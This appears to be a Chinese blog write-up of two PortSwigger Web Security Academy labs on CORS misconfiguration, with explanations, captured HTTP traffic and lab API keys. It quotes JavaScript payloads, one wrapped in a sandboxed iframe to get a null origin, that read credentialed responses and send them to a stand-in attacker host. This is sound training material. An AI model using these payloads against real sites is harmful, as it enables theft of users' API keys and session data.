portswigger CORS

写在前面

最近忙于复现比赛 今天来学点新知识
昨天做ctfshow的 cms 时 了解到了 有 Flash 的一个洞 和 cors 有关
今天来深入学习一下和cors有关的知识

start

什么是CORS?

跨域资源共享 (CORS) 是一种浏览器机制,可以对位于给定域之外的资源进行受控访问。它扩展并增加了同源策略 ( SOP ) 的灵活性。但是,如果网站的 CORS 策略配置和实施不当,它也会为基于跨域的攻击提供可能性。CORS 不是针对跨站请求伪造(CSRF)等跨源攻击的保护措施。

Same-origin policy(SOP)

同源策略是一种限制性的跨域规范,它限制了网站与源域之外的资源进行交互的能力。同源策略是多年前定义的,以应对潜在的恶意跨域交互,例如一个网站从另一个网站窃取私人数据。它通常允许一个域向其他域发出请求,但不允许访问响应。

提到这个同源 我就想到了以前写java 时 解决跨域时的痛苦debug经历

给了以下脚本来检索

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};

大致明白了 CORS 攻击的原理
首先 要找到类似于 XSS 的漏洞
比如这题 在插入脚本后 可得到 api 密钥

第一题 CORS vulnerability with basic origin reflection

题目要求

该网站具有不安全的CORS配置,因为它信任所有来源。

为了解决这个实验,制作一些 JavaScript,使用 CORS 来检索管理员的 API
密钥并将代码上传到您的漏洞利用服务器。当您成功提交管理员的 API 密钥时,实验室就解决了。

您可以使用以下凭据登录自己的帐户: wiener:peter

突然发现我连扫描时API 密钥都不知道 。。。

我们登陆时请求 /accountDetails 会返回

HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true               //重要 表明可能支持CORS
Content-Type: application/json; charset=utf-8
X-XSS-Protection: 0
Connection: close
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "4nZaUJ6Lx5iFLNNkT6WqKPbUhk3sggK5",
  "sessions": [
    "SQTSU53Uc6CmUuIFOXRtuLK6D5ktxblU"
  ]
}

现在思考一个问题 在这里的 apikey 的作用是什么?
有什么利用方式嘛 。。。(这个问题先留着)

看到可以更新邮箱 猜测拿到 apikey 后可以更新邮箱??
抓个包看一下

POST /my-account/change-email HTTP/1.1
Host: target-ac4f1f931f1056d680a7448700d9005f.web-security-academy.net
Cookie: session=SQTSU53Uc6CmUuIFOXRtuLK6D5ktxblU
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Origin: https://target-ac4f1f931f1056d680a7448700d9005f.web-security-academy.net
Referer: https://target-ac4f1f931f1056d680a7448700d9005f.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

email=dgsadfg%4011.com&csrf=lUQDlYV1q62F1Ue4fzXt3h3bDd4RXXUn

貌似改邮箱并用不到 apikey ??

emmm 那就找题目说的去拿吧 把刚才文章里的payload拿来改一下
放到攻击服务器里 可得到管理员的 apikey

CORS第二题 CORS vulnerability with trusted null origin

为什么感觉跟上题没啥区别
访问 /accoutDetails

怎么感觉和上题没啥区别???

HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-XSS-Protection: 0
Connection: close
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "eWGLUPc3TbDhdrNpaW9Ido6vYYbvObHf",
  "sessions": [
    "0b93NqhXQnM3dsrVM0RVZYAin1n7Wn06"
  ]
}

Whitelisted null origin value

需要利用新的知识点

Browsers might send the value null in the Origin header in various unusual situations:

Cross-site redirects.
Requests from serialized data.
Request using the file: protocol.
Sandboxed cross-origin requests.

如果一个应用程序收到一下请求

GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

而服务器响应

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

在这种情况下,攻击者可以使用各种技巧来生成一个在 Origin 头中包含 null 值的跨域请求. 其可以满足白名单, 导致跨域请求. 例如,可以利用iframe 跨域请求来过沙盒(如以下形式):
payload

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

回到题目 我们发送一个请求如下

GET /accountDetails HTTP/1.1
Origin:null

返回

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

满足攻击需求 可以直接攻击

参考文章

https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值